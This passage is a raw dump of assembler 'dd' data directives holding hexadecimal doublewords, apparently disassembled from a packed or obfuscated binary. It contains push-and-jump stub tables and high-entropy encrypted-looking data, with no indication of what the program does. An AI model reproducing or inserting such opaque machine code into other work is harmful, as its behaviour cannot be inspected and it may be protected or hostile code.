240C8700h, 2404895Ch, 6A6168h dd 243C8900h, 688568h, 24348900h, 410EBA52h, 0D78905EBh dd 0A8F7815Ah, 6803E509h, 109Ch, 81242489h, 42404h, 575E0000h dd 8F242C81h, 8F09E827h, 46810846h, 0E8278F08h, 2434FF09h dd 4C4835Eh, 56243C8Bh, 0C681E689h, 4, 8704C683h, 0E95C2434h dd 0FFFD3143h, 0AF61685Dh, 2ABE9BF8h, 3478F440h, 4D7EB8EEh dd 0C503060Eh, 51E9C88Bh, 60000000h, 2424748Bh, 8B3C7603h dd 8B28247Ch, 0F8C281D6h, 66000000h, 0F064E8Bh, 0F983C9B7h dd 16840F00h, 3B000000h, 8F0F0C7Ah, 15h, 8B28EA83h, 4A8B0C42h dd 2BC12B14h, 247C89F8h, 8C2611Ch, 28C28300h, 0CF850F49h dd 0E9FFFFFFh, 0FFFFFFE9h, 9FD3EBAh, 5E800h, 0EC620000h dd 661DE411h, 2857D181h, 0B96658h, 0A8C081FDh, 0E900005Fh dd 14h, 0A07FB769h, 3B040E49h, 0CD23B671h, 0C04ED442h dd 49B5D37Ah, 0C9A12CBAh, 6AEA8177h, 8B77C989h, 0C381F818h dd 3B6B5886h, 0EF32B966h, 404BEB81h, 0E9562D20h, 0Eh, 3D5ED17Dh dd 0EB5558F7h, 4532C604h, 815EC986h, 11E7DDC3h, 6656600Ch dd 0BE93DE81h, 0DBBE665Bh, 18896162h, 2F08160h, 8109F3B9h dd 0D91CAFE6h, 0E8816113h, 5F4700DEh, 0C081CF8Bh, 5F4700DAh dd 8B1FF781h, 0EA816D97h, 1, 0FF95850Fh, 0D9E9FFFFh, 20000000h dd 2C0FBE1Dh, 0DF2F82C1h, 0FDBEB6CFh, 36365D54h, 0BCECA4h dd 52C55DD5h, 0A4D676D3h, 4100FC94h, 50C1AEC4h, 325277CBh dd 9CACACh, 0F7F691B8h, 9382CD64h, 38h, 3Ch, 40h, 94h dd 5, 1, 0A28h, 2, 20h dup(0) dd 2E9F2250h, 1FA9E9h, 52036800h, 3CE9060Eh, 68FFFD2Fh dd 60E5304h, 0FD2F32E9h, 53D968FFh, 28E9060Eh, 68FFFD2Fh dd 60E54ABh, 0FD2F1EE9h, 558968FFh, 14E9060Eh, 68FFFD2Fh dd 60E5640h, 0FD2F0AE9h, 56EF68FFh, 0E9060Eh, 68FFFD2Fh dd 60E57A7h, 0FD2EF6E9h, 5B0768FFh, 0ECE9060Eh, 68FFFD2Eh dd 60E5BA4h, 0FD2EE2E9h, 5CC568FFh, 0D8E9060Eh, 68FFFD2Eh dd 60E5FF8h, 0FD2ECEE9h, 636F68FFh, 0C4E9060Eh, 68FFFD2Eh dd 60E66DAh, 0FD2EBAE9h, 684868FFh, 0B0E9060Eh, 68FFFD2Eh dd 60E68C6h, 0FD2EA6E9h, 691168FFh, 9CE9060Eh, 68FFFD2Eh dd 60E6977h, 0FD2E92E9h, 6A9A68FFh, 88E9060Eh, 68FFFD2Eh dd 60E6C19h, 0FD2E7EE9h, 6D0868FFh, 74E9060Eh, 1DFFFD2Eh dd 0C4213209h, 0B25380B1h, 1C896A67h, 0CB243F06h, 0EE558EB1h dd 211C6487h, 0F1CCD532h, 44738562h, 28256E9Fh, 822AC6CBh dd 0C59A4DC6h, 0DE02FA49h, 0C614F8D5h, 1D5430B4h, 0E7DBC394h dd 86B3C449h, 0E07B015Dh, 196FF27Ah, 40ADBD9Fh, 17FF1831h dd 3D358D96h, 0B655B25Ch, 0DAFA8AB2h, 493D1186h, 6096E999h dd 69643C3Ah, 34987A93h, 0BE36402Ch, 3A609ECAh, 36CB655Dh dd 25h, 760D6FDEh, 5D140E4h, 645EBD9Fh, 0CB305090h, 0BFE53A60h dd 0C733DA2Eh, 0F81E2C35h, 92000000h, 0B251463h, 0F8D5DE15h dd 0FD99C614h, 1A3FA791h, 3E82BDCBh, 0C548E6DAh, 34085BBFh dd 0A88771D4h, 9014A6B4h, 0C394A0F4h, 6FB6077Bh, 0ED5CB452h dd 0D2EF3898h, 56A30AFEh, 5576F87Bh, 0D8C394A4h, 0E761F2CFh dd 63D7EE36h, 0FB0C012Fh, 5A227ACEh, 0A4CBBF37h, 0F35CC394h dd 5FB397AAh, 0BA1C198Dh, 32BCBD9Fh, 6192CEBAh, 0CF79413Ah dd 2C889F70h, 488ECDDh, 80744355h, 0EF74684Ch, 8456ED8Fh dd 6C037A60h, 0F37BF544h, 3073C197h, 1CCE2218h, 4F94ABF1h dd 0EC7B5A5Eh, 8C700789h, 0DA857AC8h, 0DD00001Ch, 8461F2C9h dd 72934071h, 0DCC92A27h, 8B64FFC6h, 2E954E71h, 0E1DC24C7h dd 0B18C9572h, 43345A2h, 0E8E52EDFh, 0C26A860Bh, 0C59A4F86h dd 0BDC2BA09h, 76FE4150h, 0C3941D12h, 0C549AD95h, 0DE320F14h dd 0F8C7DD30h, 9572E97Bh, 0C0ED2FC6h, 0E1BF21Ch, 0BDD02033h dd 1DCFBB33h, 7A40C394h, 97ACF0CCh, 5702145h, 85FDBD9Fh dd 0CA513131h, 1C843A60h, 8A9A0B91h, 5D8BCFB3h, 35C84AE3h dd 0C6672Ch, 0DE810000h, 0A514F8D5h, 4E9C605Fh, 1DDCA83Ch dd 0FA53C394h, 8CBA9EABh, 9419CBF8h, 0C394AC3h, 0A3CB55D7h dd 3C6BE127h, 59B452A8h, 0BF8D714Ch, 0E1CDB92Dh, 78423C6Bh dd 95AECECEh, 0FF2A2F47h, 271B4260h, 11A623Ch, 0ECD92ADBh dd 4D04A842h, 0C2446D5Ch, 798372F8h, 81139D46h, 733C196Dh dd 7A94EE30h, 0D9238993h, 2C3E12E6h, 733CCCB8h, 1B7F4330h dd 70C26BCCh, 0EFA0A28Ch, 1BD9h, 62F1C8DAh, 9C477285h dd 0CA292073h, 65FEC5DDh, 964D7088h, 0DF25382Fh, 8D9273E0h dd 3242A3B0h, 0DA2FD81Bh, 658774EFh, 9A4E85C1h, 0C5BB0AC5h dd 120DADEh, 987ADBE1h, 0CEF308F1h, 8F9500EAh, 30DD96B0h dd 8B09EAE7h, 9D4150BDh, 0F5C9BD88h, 8D967791h, 81DCCB0h dd 3E51263Dh, 7BE17A02h, 9F05D6F3h, 0C6357BDh, 0ED66B6FAh dd 5DE6B6F1h, 4D66678Fh, 93E780F9h, 60ADCF2Fh, 0CF43B8CCh dd 0D7CB0FF4h, 0FA0AFB05h, 18257AC3h, 2EB650B4h, 8AC44853h dd 0AF0CDE24h, 0B91AD8A2h, 0BA323847h, 0F2C403CEh, 1DCF7941h dd 99ED0193h, 6EF2C403h, 613FA14h, 3DDA93Dh, 0B73FF2C4h dd 0F2C403D3h, 0A9916E54h, 3441AEB5h, 0C593CE19h, 0F45E4F07h dd 1B0413h, 0C4F30700h, 0AAA7EE1Fh, 7C4D5C49h, 0C1F006E7h dd 90AFF512h, 0EEDF443h, 0FF28CB0Ah, 0AF589BA6h, 18F56E59h dd 0D821320Fh, 4EE89C10h, 907FC59Ah, 0F8D5DE28h, 384CE072h dd 8FC3941Dh, 75B59D4Bh, 0A6CE1C27h, 0BD9F1A83h, 198D1FA9h dd 3A60E36Dh, 3C4898E2h, 0B33A60E3h, 9EF2CFDAh, 0EF3A9370h dd 362A6ED2h, 0CF49582Dh, 0E411C890h, 0BACDD541h, 217DAB8Fh dd 921AC05Bh, 446B9DB7h, 63C1D7B8h, 7D512514h, 7D51B519h dd 469D61Ah, 3D64B0F1h, 6E996D9Bh, 400ECD1Dh, 0B135273Ch dd 91A7B1D0h, 4B91655Dh, 0B721F514h, 1761CD85h, 922AC438h dd 43EB710Ah, 9BB2490Eh, 44B1BB9Fh, 29D40633h, 0A344E2D1h dd 0CB043142h, 6035BD88h, 321CF357h, 7500001Ah, 0DCC92A21h dd 8A7BF8C9h, 7491427Fh, 23CC172Eh, 0C67DE6D9h, 19247C9Fh dd 0E9D42DDAh, 0BC8B9D0Ah, 3D46A7h, 0AAC22ED3h, 0C59A49DEh dd 0DE7AE251h, 0E072F8D5h, 941D384Ch, 457881C3h, 0D8229DF1h dd 0BAC2DA2Eh, 61D5E034h, 0AF7E0DF6h, 311584F6h, 0E6E70FDDh dd 67BD9FB0h, 33BFC013h, 22C85329h, 6AA0BF8Ah, 0EC53DD44h dd 4C9E502Eh, 3F4B9BBCh, 0B0307E71h, 780CA04Ah, 0CF307E71h dd 5FFE5D8Bh, 7A53F479h, 0AA8DE182h, 0D63A7E5Ch, 152E4EDBh dd 0D3DEAFC7h, 9DC2EADEh, 0CB268E76h, 1FFC2A74h, 4557573Bh dd 3DA22C3Eh, 60984144h, 0ED79978Ah, 0ECA9F490h, 0BDCF1D65h dd 0DE084150h, 342F1A6Fh, 7F28CEDBh, 9789459Eh, 0AFF1DD0Bh dd 0E4D8BCA9h, 33164780h, 4DC5352Ch, 19548Ah, 74435700h dd 0DAF73EEFh, 0AC9DEC19h, 714056B7h, 0C0FF05E2h, 5EBDA413h dd 0FF87B5Ah, 0FF28CBF6h, 0A8459EA9h, 8F1625Fh, 48384CE0h dd 0C08FC59Ah, 0F8D5DE58h, 74A0CD72h, 1EFFE714h, 7C0018F0h dd 20F175E7h, 8DBD9F52h, 0F322AEB5h, 0E327ABA6h, 104C5045h dd 0B865F78Ch, 1C76896Fh, 6E221F5Eh, 9A12DC0Ah, 446A0DAFh dd 65905AA0h, 940B2510h, 3F681852h, 8B90EC35h, 0FBCCD61h dd 0B15C4B38h, 0ACE0546Bh, 0C9BD8582h, 0AAB0CBD1h, 0AC9BED18h dd 1D1A393h, 0AD5B7644h, 3A5A4D9h, 1BC1394Dh, 0EA3999EAh dd 0CB2F63D7h, 9FAAFF28h, 0C66B2F50h, 8B4CC695h, 189Dh dd 0A6BD949Eh, 0D0033E49h, 0ED5E437h, 0B9BA99E1h, 0EA09344Ch dd 93E9046Bh, 4156B7ACh, 0FE06E77Ch, 0A6F31CC7h, 0A94348ABh dd 9A4B4105h, 8177C6C5h, 14F8D5DEh, 69F38814h, 0EAE72EDFh dd 435B2266h, 0CF02D27Ch, 40BD9F27h, 0FD94F97Ah, 0BAA0BBC1h dd 6BED1732h, 38221844h, 618FBACDh, 0F85DEC7Ah, 0F6DC2B5h dd 0C9001382h, 0B4D54D39h, 84F8C2A3h, 0ECAFDE56h, 0DA20DDBFh dd 0DD663676h, 0FB73FD0Fh, 9981A08Fh, 780C3A00h, 0E78AAB05h dd 4BBAA09Ah, 0B78E963Eh, 91F579C3h, 16979E99h, 0FD4C82Ch dd 0AFB8959Eh, 2C4D611Ah, 0EE66D929h, 31000017h, 9875EEE5h dd 46A7BC8Dh, 30DD063Bh, 9F08EBEAh, 1AB9BA85h, 0DDE038D3h dd 0AD90E906h, 704F59B6h, 0C4F102E3h, 0F67EF21Fh, 0C59A4B92h dd 0DE3EA615h, 1414F8D5h, 0C569F388h, 0BD99E0D1h, 0FFE6C56h dd 0F6D14FAh, 0D979AA4Fh, 0A62A2770h, 41D50E62h, 3A65EF95h dd 964DD6A5h, 7C842C79h, 93A2F841h, 6CF7EB2Fh, 42E235E0h dd 9271B32h, 0BCC9E7B5h, 37BFAD81h, 44681203h, 42CC1E64h dd 0E353B11Dh, 5393974Ch, 3077CC37h, 0F1C0D7B8h, 3BD5C90Dh dd 953144B1h, 8C574B86h, 51251463h, 3D041A8Bh, 7E93A13h dd 0A2935E29h, 6AE5D95Dh, 8C74DE51h, 36C5BA88h, 79000017h dd 20CD162Dh, 8E7FE4D5h, 78954E83h, 27C01322h, 0C271E2DDh dd 538409Bh, 0D5E831DEh, 0B897E10Eh, 0C394ABBh, 0AEC62AD7h dd 0C59A4ADAh, 6F66DEADh, 40E4760Dh, 0BD99E054h, 8875E7DBh dd 0C591427Fh dd 37BFADB6h, 3A65AC47h, 0C66ED228h, 3A65AD87h, 4D474652h dd 2C31BC9Ch, 51B5h, 0C6F5300h, 1D196D81h, 94EEC394h, 12E6DD25h dd 9C10DA3Eh, 0C3941DE4h, 0B3B3077Bh, 0C3941DD3h, 0F9139206h dd 32400D50h, 2579h, 26A78700h, 18C3941Dh, 806DFF84h, 4E3AB275h dd 0C1C3941Dh, 0E33485F9h, 2E62D6h, 0FCBBC66Eh, 360CBD9Eh dd 0D6FD72Dh, 0D2A699E3h, 0DC509AFEh, 0BD9F04C1h, 92582C16h dd 0C898EC00h, 2B6F3A60h, 3C0710FDh, 60C8DCA8h, 9E6F533Ah dd 0F2D6BA97h, 5FA8459Eh, 0D52F9E62h, 0F42E66EAh, 0CA0710F9h dd 3934BB20h, 591C8360h, 7D47965Dh, 8EB89CBAh, 47EF38D5h dd 5FD70534h, 3A60B62Bh, 9E6246BCh, 0F765FE9Eh, 5362B865h dd 0E97DABEFh, 446BAEB8h, 0F916CD35h, 52D91ACh, 0B84BF926h dd 1DE1DC29h, 9B6F56ACh, 3F535286h, 48D0DDD7h, 0D5734E5Dh dd 0C1122F78h, 12E6D324h, 986C53ABh, 41A6277Dh, 2DDA1934h dd 119EDD8h, 0E87AE07Bh, 0C4B2D65Eh, 0CD35B826h, 0B418297Ch dd 1B2EB650h, 1C62DF2h, 9BB58094h, 709D46BCh, 0F7A62A27h dd 7E2F93AEh, 89B61A37h, 0CC505F7h, 9CE26BB6h, 1268D1A5h dd 0DEEFC123h, 5F6E44ACh, 0BDC56DB6h, 0FADE3286h, 4E7B8C79h dd 708570FAh, 4F9DF145h, 336EA327h, 30DE24B6h, 0E10B106Ch dd 386ADC4Dh, 0CA2911C8h, 1C68C8DDh, 5795D21h, 70D1B1B1h dd 0BCE4DC08h, 9519AB31h, 9C0870F1h, 6BE20C76h, 0D730231Eh dd 5B02F6C1h, 238A7E41h, 0AA13E7DAh, 77139B54h, 0F89C0870h dd 3FDAAE82h, 0A8166865h, 6DDA39A6h, 0B1012AC2h, 6B901D97h dd 0D431221Dh, 391460C0h, 73887155h, 37E66A4Eh, 246CD0EFh dd 0E16FF0Eh, 3BA02C37h, 1FF9AEEBh, 55B856D5h, 68807443h dd 7EDD0F14h, 0B04E3C56h, 256EDF76h, 0C660A428h, 0D2AD8024h dd 0AEA2E203h, 5B64206h, 5426C59Ah, 5DDF782Bh, 72C63A1Eh dd 0DBC0CDC7h, 0DE68F2CDh, 5FA3256h, 0A34DB59Ah, 0E7D227C0h dd 6C59AA13h, 0CAF50FFEh, 3F45341Ch, 6AEBC00h, 9A05FA42h dd 0F80CFDC5h, 0C4DC79CDh, 0C9CBB5C9h, 0F7C2D73Ch, 5E63B865h dd 0FF7896EAh, 6B21CE6Dh, 750D0E93h, 15C861DBh, 25E18BD2h dd 0F000000h, 6DFFD6DEh, 0F4587180h, 9A927690h, 7BF37902h dd 0BD9F065Eh, 0DBB1302Fh, 0C519AE0Bh, 308372E1h, 2D000000h dd 0E509D6DEh, 0C3941DE1h, 32381C66h, 1D780CA0h, 50CFC394h dd 8398E81Ch, 709EF2C6h, 67FC8098h, 0B1DC71F5h, 0D13CBD9Fh dd 0FC5BF5C8h, 46A75D86h, 0FB00ED2Bh, 0F01E72C6h, 0A14BD0ACh dd 9F05380Dh, 0D2350DBDh, 0DC8BD10Eh, 8BF60129h, 1F38FFD1h dd 0CF7995EAh, 0D35F4307h, 4332A929h, 8CC86185h, 0FB4F768Ah dd 3985A387h, 9A12D863h, 0B8DEBCEBh, 72AA1E64h, 0A3CB112Ah dd 42A99B2Eh, 0E4DB23D2h, 67F5CD4Ah, 83506DB6h, 2B241162h dd 872C90BAh, 0D676C939h, 0D9000013h, 806DF6CDh, 6E9F4475h dd 0D8352E23h, 8760F3C2h, 2291427Dh, 0E5D8203Bh, 0B588917Eh dd 183741AEh, 0ECD92ADBh, 0CE668A77h, 0C59A46BAh, 0A7C6BE0Dh dd 0C3941E23h, 0FECBDCC9h, 8024360Ah, 3C6BE2C4h, 0C5D9774Bh dd 36BEACB7h, 4260DACBh, 699446BCh, 6B05231Eh, 0BFC66ABAh dd 0E6DA3E82h, 642EA74h, 893A60E8h, 50DC97B1h, 5430B4C6h dd 0DB3A60E8h, 0E81B6FE7h, 96EC3A60h, 0E8A42044h, 0D72B3A60h dd 0F5C0D439h, 844F5801h, 60E86460h, 0B397EB3Ah, 62F033B4h dd 7F84A86h, 1339h, 0C211287Ah, 7CE7D225h, 0AA498093h dd 0C51E257Dh, 76EDD028h, 3F4598CFh, 0ED32D300h, 92E203D0h dd 3A4FB8BBh, 0C527D40Fh, 9A4625A1h, 65DBAAC5h, 0E4760D6Fh dd 9F259D40h, 68BD12BDh, 0B195E95Dh, 1E2B7AABh, 0ECDD28C5h dd 0B264B118h, 0B63C8380h, 6352A83Fh, 6347BB9Fh, 0A726629Fh dd 0D91A377Eh, 5F3A32B4h, 0F16E7D8h, 0E7E64E32h, 0D53A6038h dd 8A9D0283h, 7DDE5F64h, 9DF1CD7Ah, 9101104Fh, 0AED4FEBBh dd 7E5CBC68h, 7791F5C2h, 7F8570FCh, 6E98FC40h, 0B3B9889Fh dd 0EA043142h, 0ED760666h, 4A878E7Fh, 8A6482C6h, 48778D78h dd 9E6680C4h, 446D47AEh, 629359A1h, 0CE3F2411h, 0E3071DC5h dd 6D1ADCBAh, 0C448AC3Dh, 0D0EF3980h, 8C1008FCh, 92C165F7h dd 764E7F2Ch, 600440E4h, 0B78B2E4Ch, 9A40BA99h, 30231E6Bh dd 3F7C2D7h, 8DB8CC39h, 3A415B63h, 9014A630h, 2E4C60F4h dd 60EA9E16h, 57D2E4Ch, 9CB740BAh, 9CDB009Dh, 7568FC2Ah dd 0CA5047CAh, 1A5A77F0h, 0A999988Ah, 1218D6h, 300F1B00h dd 86B3C223h, 6861B05Dh, 3D041A8Bh, 8CB3C926h, 62F9E057h dd 0D33C271Eh, 836CF7CAh, 6C995A75h, 0C4352E1Bh, 41C48024h dd 0FC4BC59Ah, 1D2AA704h, 63B5C394h, 0CDAF8F54h, 5B00A4B6h dd 0D4BD99E0h, 3F132E7Bh, 98B1C02Dh, 1CCDBD5Bh, 3531C005h dd 171h, 700F6FD3h, 0A71EBD9Eh, 0C3173D0Ch, 22B8928Dh dd 84F8F569h, 6DAADE56h, 0C53DC394h, 5C2D412Bh, 7DC3946Dh dd 47BDA305h, 6F827A75h, 0A49F710Eh, 750A6FBCh, 0DCE136E7h dd 0D048CC32h, 40050CCDh, 422537h, 8B70000h, 5D76E94Eh dd 0F46A849Fh, 764B50BDh, 0FF437E87h, 4C516D9Bh, 0F0DBC4E8h dd 1C70EC11h, 5829BDBAh, 0D5C3941Dh, 47BD0BEDh, 9025D3DEh dd 1980344Dh, 0BD259BFFh, 0DA744550h, 48C830D6h, 50000000h dd 91E40E6Fh, 84F8DCA0h, 0C233BD22h, 384C84B1h, 8FC3941Dh dd 84F8D5DEh, 0C976806Ah, 48700044h, 0C591BF02h, 0C3943A84h dd 536EB964h, 0DC22ABEFh, 22604BE5h, 0BD47BD4Ch, 81084150h dd 93F75B76h, 0B0899875h, 0CD857BDEh, 3740050Ch, 5125h dd 0B08B700h, 0F6EFB192h, 6752A716h, 0AB91BF93h, 84150BDh dd 1D3E4AE2h, 49B1C394h, 0E57A1F9Fh, 0DDC877h, 5A643BE7h dd 29BDB6ACh, 0C3941D58h, 0F5F003B8h, 5F9630ACh, 666D198Dh dd 98E2C394h, 37A9916Eh, 0D7DE47BDh, 857B04FAh, 38C8h dd 0A6F5000h, 29BD9375h, 0C3941D58h, 0C2862EB8h, 45C3941Dh dd 4CD8D37Dh, 941DACD8h, 0FBDF23C3h, 9C93CA71h, 0A1A32321h dd 2FE8DF99h, 193754D8h, 0DE47BD23h, 7B04FAD7h, 4850BD85h dd 0CCD88175h, 8C739DF1h, 0FFFFFE86h, 4450BD14h, 0BDDFDF09h dd 63D7EA33h, 8D21CB2Fh, 0BD99E0A9h, 47B6A49Eh, 0A28EDA30h dd 8801811Eh, 0E4D32594h, 0E716A04Ah, 0F8DCA09Fh, 9FAAFF4Eh dd 5D7CEE4Dh, 637EFC30h, 277422C5h, 0CCDFCE1Ch, 273509FDh dd 65EFFB8Fh, 0D8764C3Ah, 0EFEA9E16h, 57D3A65h, 0EFD7B1B1h dd 4E563A65h, 0C6DA8377h, 5DA20BFFh, 9D280260h, 719C4CE1h dd 62A62A29h, 29E3E2C4h, 2C31FF00h, 6738813Eh, 0EF970394h dd 9C4AAE99h, 4EC5h, 27A72300h, 0C5C3941Dh, 1D5733BBh dd 0E2D8C394h, 81BCC944h, 1DBDCC52h, 0E05FC394h, 4BD1A1FBh dd 894B2EAh, 0E97DEF74h, 0BD9F6960h, 0E577E5DDh, 3AB7D35Bh dd 0C2383A61h, 613A4602h, 4400A43Ah, 0CB3A613Ah, 143208F7h dd 0C6A453h, 6FCC0000h, 186C800Dh, 0EFC3941Dh, 1A5B7ABh dd 0BD9F2C14h, 407F8974h, 8B51A9A6h, 0F53EEF79h, 0D01074D8h dd 3A60F1B4h, 2429C73Bh, 917EE5D0h, 76C44887h, 0C356FFC9h dd 0A17B84BBh, 7E3EE866h, 4B8A901Eh, 0BDAF83C7h, 6D5E1129h dd 0C6146E44h, 23149B4h, 0A1AC5ABEh, 60F27857h, 7273B8CCh dd 21CB0F30h, 7273F98Dh, 0DA744E30h, 0AD98EC19h, 0A0BBC1D9h dd 0B99A32BAh, 5B954E7Fh, 4C3BB7D3h, 0EEC2382Eh, 4984917Ch dd 1D287DAAh, 7FBEF1D2h, 75CA3892h, 0EE5h, 7EE5DC26h, 0A84B8691h dd 0C61D2C7Fh, 71E2D129h, 0A2B18C94h, 0EB31CC13h, 999E0FD4h dd 464EBFA4h, 0EE3BD40Fh, 71FB00D3h, 9A4289FDh, 0C9AF1EC5h dd 14F8D5DEh, 916550A5h, 18ECDD28h, 0E15568B1h, 2559548Ch dd 0C44C595Bh, 1D5632BAh, 0E1D9C394h, 80BDC647h, 0C88A153h dd 47B63240h, 5BBF033Eh, 90D4ADh, 0BD300000h, 1DCFBB33h dd 7A40C394h, 97ACF0CCh, 0D7B33B45h, 58C3941Dh, 0FA1A5B9h dd 6B4FD020h, 0CABB33BDh, 2EBD9F1Dh, 5E6866B1h, 0BF0E4DFFh dd 92F65A65h, 0BE789774h, 5E2DE63Ah, 86BDC5B4h, 1A6FDEA2h dd 0EF536ABAh, 43E36970h, 0E1C58CBEh, 0C197F37Bh, 22183A61h dd 0AFF815CEh, 485D4892h, 5BD679A6h, 197DB6F6h, 6AD11BEFh dd 5B6B2921h, 0A420446Fh, 2B3A61A7h, 4955F3D7h, 0B0C22833h dd 0ED1B3645h, 6A963C19h, 23C93144h, 7CAAA7F2h, 0D7DE1DFBh dd 798C79FAh, 176CC448h, 0E6C3941Dh, 0D6E3329Eh, 673561F2h dd 889F0EDCh, 49DD8FB9h, 0BD99E051h, 344694EEh, 738CB3C9h dd 0D3A5F907h, 9042259h, 0E41CC7FAh, 0C0051CCDh, 1593531h dd 6FD30000h, 0BD9E700Fh, 941D5829h, 0A71979C3h, 764B50BDh dd 5034B882h, 0D7C3941Dh, 8F618FE3h, 0BB33BD09h, 0C3941DCFh dd 0EACC7A40h, 0E6F23D9h, 0C8A49F71h, 0E394FBEh, 941D82C6h dd 133D05C3h, 0AE0A6F2Dh, 0B3818C2Bh, 4D6CA86h, 483464D7h dd 5C8A7F6Bh, 37A448E6h, 0E1FF6FB5h, 100620B8h, 754850BDh dd 4B861DBh, 29F13740h, 1F000000h, 0EB710E6Fh, 1DB1D559h dd 0CC36C394h, 29BD3C22h, 0C3941D58h, 102978D5h, 47BD5A3Ch dd 18FED3DEh, 33C8857Bh, 50000000h, 9CE40E6Fh, 0D9F4DA1h dd 941DED99h, 0E3E70FC3h, 64C3941Dh, 9359A11Eh, 941D6F1Bh dd 6C9AE0C3h, 5829BDF6h, 79C3941Dh, 47BDA719h, 18FED3DEh dd 0CCD857Bh, 25374005h, 4Fh, 750A6FC3h, 5829BD93h, 0B8C3941Dh dd 0FABBDA03h, 0FE2850E9h, 0BD473901h, 80BDC233h, 0C82ED83Ch dd 0E821D7DEh, 0CF58A4A4h, 5531B5A7h, 0DAC39480h, 7B2A8CE0h dd 0BBCF67F1h, 0CC3941Dh, 0C8221836h, 3Dh, 76129A24h, 0F9C3941Dh dd 6FF16781h, 0BD93750Ah, 941D5829h, 0A71979C3h, 0BDC233BDh dd 0BDF06680h, 860A4750h, 5EA9A442h, 7042F963h, 0C1DE2CA2h dd 3B4FE775h, 8CC394B6h, 7BA298B6h, 0FE9EC885h, 6F50FFFFh dd 40E4760Dh, 0BD99E054h, 86A709B6h, 0FDD68615h, 5C8EF453h dd 1E29C6FFh, 7FA9C35Ah, 0DAF700EDh, 253E5D19h, 97CBBF37h dd 665C3A65h, 97345292h, 0B7ED3A65h, 972BC236h, 17062C31h dd 9A000000h, 582C136Bh, 0A754CA64h, 0C3941D27h, 0F3605DA6h dd 0C204h, 0D6FAC00h, 2FD6B2ADh, 944EC387h, 0C17E44C3h dd 0D4C8C4B9h, 9EABEE06h, 261CBD9Eh, 5BBFC934h, 1488361Ch dd 0DC077B8Bh, 66EAE533h, 7FED7606h, 0C0B4898Eh, 0D8E73D8Ch dd 1428BC2Eh, 6B446C9Fh, 0CCD8C517h, 738562F1h, 0F56AF044h dd 9D764336h, 9445105h, 0C36D4185h, 509AA1FBh, 7EBC64DCh dd 5587FB4Eh, 1B64DE6h, 1175D9F4h, 0F12962E6h, 1F689557h dd 8B73122h, 0EBCA00C2h, 68BB02F6h, 7FA9ED51h, 0BF48858Eh dd 927ED24Eh, 6E32957Dh, 0B100000Bh, 18F56E65h, 0C6273C0Dh dd 0B05D86BBh, 1F886B6Ah, 9A393A05h, 5D60B853h, 2D106986h dd 0F0CFD936h, 44718263h, 76FE729Fh, 0C59A7E12h, 0BDBE2695h dd 1DCFBB33h, 434EC394h, 8E49B10Eh, 0CFA17D0Bh, 15F81646h dd 95273500h, 94FA7511h, 6680FAC3h, 0D3EE3BE2h, 1377FF09h dd 94C394FAh, 2E8880AEh, 0E730D9D4h, 8BDB00EAh, 0CF1D59EAh dd 0C731B25Ch, 32406426h, 6003h, 50BDED00h, 41850944h dd 0FE8517A7h, 1C9DF86Ch, 2812BD9Fh, 116796A4h, 776B66B3h dd 0ACA14F83h, 5FFC6E5Bh, 305ED486h, 0D691BF2Dh, 6DD1EC39h dd 6D46F0Dh, 0C11470F4h, 83953A60h, 0ED01CBB4h, 3A60C199h dd 1630146Eh, 34B8CA54h, 3A60C150h, 9FDC0D9h, 0D6704A35h dd 6A2B4B0Eh, 5D86FC44h, 6FD7DEA7h, 5D60B81Ch, 616A9579h dd 3C022BAAh, 0CB117569h, 85135B9h, 0ECD6C394h, 403DA142h dd 0DBC39408h, 3561F2CDh, 0E60EDC67h, 0BD99F595h, 6CFE6C56h dd 726A3ACFh, 5BF5748Eh, 49AAA7F2h, 51CCD4Bh, 213531C0h dd 0D3000001h, 9E700F6Fh, 1D5829BDh, 1979C394h, 7547BDA7h dd 0FD07F67Ah, 0EC1A7EC2h, 710E6F76h, 0D3EA3AEBh, 3D49DD6Fh dd 0B2C3941Dh, 92E55448h, 51FFD3A7h, 6FBCA4EBh, 0A598E00Ah dd 2799FDD1h, 0CCDD048h, 25374005h, 29h, 710E6FC3h, 5829BD9Fh dd 0D5C3941Dh, 47BD0BEDh, 0E408D3DEh, 0C3941DE0h, 593F1367h dd 50BD857Bh, 64DB7548h, 2Ch, 710E6F8Ch, 142474EBh, 50DFB688h dd 0FA140841h, 5829BD04h, 79C3941Dh, 47BDA719h, 18FED3DEh dd 0FE04F17Bh, 1C704D52h, 44BA54A8h, 40050CCDh, 3B2537h dd 0BDC30000h, 8E9D4150h, 97EB5FB3h, 0C3542579h, 5829BD6Dh dd 0D5C3941Dh, 47BD0BEDh, 754850BDh, 162372DBh, 0C8857BB0h dd 43h, 9DBB724h, 0EE6E97C1h, 5DA95F51h, 0CD7BA6ECh, 0E00A6F57h dd 0F0D4B891h, 495F4E9Ch, 0BD6AD07Eh, 941D5829h, 0A71979C3h dd 0D7DE47BDh, 0C7CB70FAh, 5F62BB3Dh, 0F06897EBh, 73E907A6h dd 754850BDh, 0C831D7DBh, 0FFFFFEDDh, 92A1F924h, 0C63CEA2Eh dd 96E30D6Fh, 9FF3D7BBh, 0CDD2C34Dh, 1EC80CF0h, 99E06256h dd 2B7DA8BDh, 0BA54A81Ch, 6F7655Dh, 881AC0FDh, 65AC6064h dd 7593E73Ah, 0D9D7A4F2h, 4F9DF1CCh, 4F3BB33Dh, 0C03A65ACh dd 0ACEC980Ch, 1F633A65h, 0D790D3Bh, 823A65ACh, 9706D4B8h dd 0CD99B782h, 3A65ACBBh, 49434256h, 2C31BDA0h, 2089h dd 50BD5700h, 4D817548h, 1DB3D3A3h, 0E132C394h, 2DD906D4h dd 0A407B731h, 0F81FD876h, 0D2h, 0EF1EBD00h, 520DA56Bh dd 9AE2BA54h, 92C95B81h, 90E4640Ah, 42FDD1A5h, 0B25C560Dh dd 9F00A322h, 4D62CBDh, 0A3B08F99h, 6B1F9721h, 0FC3A610Ch dd 0B4D05486h, 3B3A610Ch, 0D02429C7h, 831911E5h, 54D8156Dh dd 3A610C30h, 0FD6F43B7h, 610C1D69h, 0B4A8923Ah, 0F12E0EA6h dd 3901446Ch, 9BB2C233h, 0B95FA451h, 13357EA7h, 0C06E4204h dd 87BEC627h, 0A4FC2933h, 4D2F6F99h, 8802436h, 74E7FFAh dd 18F45E8h, 0CD3ED9F4h, 0B58891C0h, 3EEF7D51h, 0EA1BD8F5h dd 4CA3AC99h, 8392807Dh, 803C087h, 0F2040000h, 98EF18DBh dd 4E5D4AA9h, 0FF07E073h, 0AEF213C0h, 0EEF54C97h, 29CAF50Fh dd 599AA7FCh, 0F66D58ACh, 22310C19h, 0EF9B13D9h, 60C59A7Bh dd 0D5DE2B91h, 